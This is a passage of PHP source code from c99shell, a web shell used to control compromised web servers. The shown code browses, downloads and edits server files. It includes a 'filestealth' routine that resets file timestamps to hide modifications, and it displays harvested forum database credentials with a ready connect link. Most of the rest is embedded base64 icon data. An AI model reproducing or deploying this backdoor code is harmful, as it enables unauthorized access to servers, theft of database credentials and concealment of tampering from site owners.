                            echo "<a href=\"" . $surl . "act=sql&sql_server=" . htmlspecialchars($dbhost) . "&sql_login=" . htmlspecialchars($dbuser) . "&sql_passwd=" . htmlspecialchars($dbpasswd) . "&sql_port=3306&sql_db=" . htmlspecialchars($dbname) . "\"><b><u>Connect to DB</u></b></a><br><br>";
                        }
                        else
                        {
                            echo "But, you can't connect to forum sql-base, because db-software=\"" . $dbms . "\" is not supported by c99shell. Please, report us for fix.";
                        }
                        echo "Parameters for manual connect:<br>";
                        $cfgvars = array(
                            "dbms" => $dbms,
                            "dbhost" => $dbhost,
                            "dbname" => $dbname,
                            "dbuser" => $dbuser,
                            "dbpasswd" => $dbpasswd
                        );
                        foreach ($cfgvars as $k => $v)
                        {
                            echo htmlspecialchars($k) . "='" . htmlspecialchars($v) . "'<br>";
                        }
                        echo "</b><hr size=\"1\" noshade>";
                    }
                }
                echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: " . $highlight_background . ";\">";
                if (!empty($white))
                {
                    @ob_clean();
                }
                highlight_file($d . $f);
                if (!empty($white))
                {
                    c99shexit();
                }
                echo "</div>";
            }
            elseif ($ft == "download")
            {
                @ob_clean();
                header("Content-type: application/octet-stream");
                header("Content-length: " . filesize($d . $f));
                header("Content-disposition: attachment; filename=\"" . $f . "\";");
                echo $r;
                exit;
            }
            elseif ($ft == "notepad")
            {
                @ob_clean();
                header("Content-type: text/plain");
                header("Content-disposition: attachment; filename=\"" . $f . ".txt\";");
                echo ($r);
                exit;
            }
            elseif ($ft == "img")
            {
                $inf = getimagesize($d . $f);
                if (!$white)
                {
                    if (empty($imgsize))
                    {
                        $imgsize = 20;
                    }
                    $width = $inf[0] / 100 * $imgsize;
                    $height = $inf[1] / 100 * $imgsize;
                    echo "<center><b>Size:</b>&nbsp;";
                    $sizes = array(
                        "100",
                        "50",
                        "20"
                    );
                    foreach ($sizes as $v)
                    {
                        echo "<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&d=" . urlencode($d) . "&imgsize=" . $v . "\">";
                        if ($imgsize != $v)
                        {
                            echo $v;
                        }
                        else
                        {
                            echo "<u>" . $v . "</u>";
                        }
                        echo "</a>&nbsp;&nbsp;&nbsp;";
                    }
                    echo "<br><br><img src=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=img&white=1&d=" . urlencode($d) . "\" width=\"" . $width . "\" height=\"" . $height . "\" border=\"1\"></center>";
                }
                else
                {
                    @ob_clean();
                    $ext = explode($f, ".");
                    $ext = $ext[count($ext) - 1];
                    header("Content-type: " . $inf["mime"]);
                    readfile($d . $f);
                    exit;
                }
            }
            elseif ($ft == "edit")
            {
                if (!empty($submit))
                {
                    if ($filestealth)
                    {
                        $stat = stat($d . $f);
                    }
                    $fp = fopen($d . $f, "w");
                    if (!$fp)
                    {
                        echo "<b>Can't write to file!</b>";
                    }
                    else
                    {
                        echo "<b>Saved!</b>";
                        fwrite($fp, $edit_text);
                        fclose($fp);
                        if ($filestealth)
                        {
                            touch($d . $f, $stat[9], $stat[8]);
                        }
                        $r = $edit_text;
                    }
                }
                $rows = count(explode("
", $r));
                if ($rows < 10)
                {
                    $rows = 10;
                }
                if ($rows > 30)
                {
                    $rows = 30;
                }
                echo "<form action=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='" . addslashes($surl . "act=ls&d=" . substr($d, 0, -1)) . "';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"" . $rows . "\">" . htmlspecialchars($r) . "</textarea></form>";
            }
            elseif (!empty($ft))
            {
                echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
            }
            else
            {
                echo "<center><b>Unknown extension (" . $ext . "), please, select type manually.</b></center>";
            }
        }
    }
}
else
{
    @ob_clean();
    $images = array(
        "arrow_ltr" => "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
        "back" => "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqtWg0JADs=",
        "buffer" => "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANoeLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmDDlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
        "change" => "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=",
        "delete" => "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCwsGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWvvHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42VlZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8GBZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQjwVFHBgiEGQFIgQasYkcSbJQIAA7",
        "download" => "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7puEYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
        "forward" => "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqtWqsJADs=",
        "home" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWSkrqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/jVwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
        "mode" => "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
        "refresh" => "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJR3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
        "search" => "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP///wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOaps5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsDAkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmrCbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
        "setup" => "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJCQhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIBqCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQEOwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
        "small_dir" => "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
        "small_unk" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1Up9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmPwr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMzaQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpMuSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQCyIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDjyAsokBkQADs=",
        "multipage" => "R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IRpJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
        "sort_asc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMaSLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
        "sort_desc" => "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMbSLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
        "sql_button_drop" => "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsAAAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/AQEAOw==",
        "sql_button_empty" => "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoAAAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
        "sql_button_insert" => "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwAAAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
        "up" => "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvVIXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
        "write" => "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/zeEQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
        "ext_asp" => "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD//////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgID6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
        "ext_mp3" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANUaGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fcIGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
        "ext_avi" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANMWFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4PYXCyg+V2i44XeRmSfYqsGhAAgA7",
        "ext_cgi" => "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/SEv/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQXv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UMBagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKDAkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAiRYtMAgEAOw==",
        "ext_cmd" => "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANIeLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCNdmrYAMn1onq/YKpjvEgAADs=",
        "ext_cpp" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANCWLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4RaEq7YrLDE7a4SADs=",
        "ext_ini" => "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANLaArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VMSnEjgPVarHEHgrB43JvszsQEADs=",
        "ext_diz" => "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZXpVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAAdAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocmC1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPFCyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAAOw==",
        "ext_doc" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANRWErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmqMIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
        "ext_exe" => "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqtxhIAOw==",
        "ext_h" => "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANBWLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKoWq/NknbbSgAAOw==",
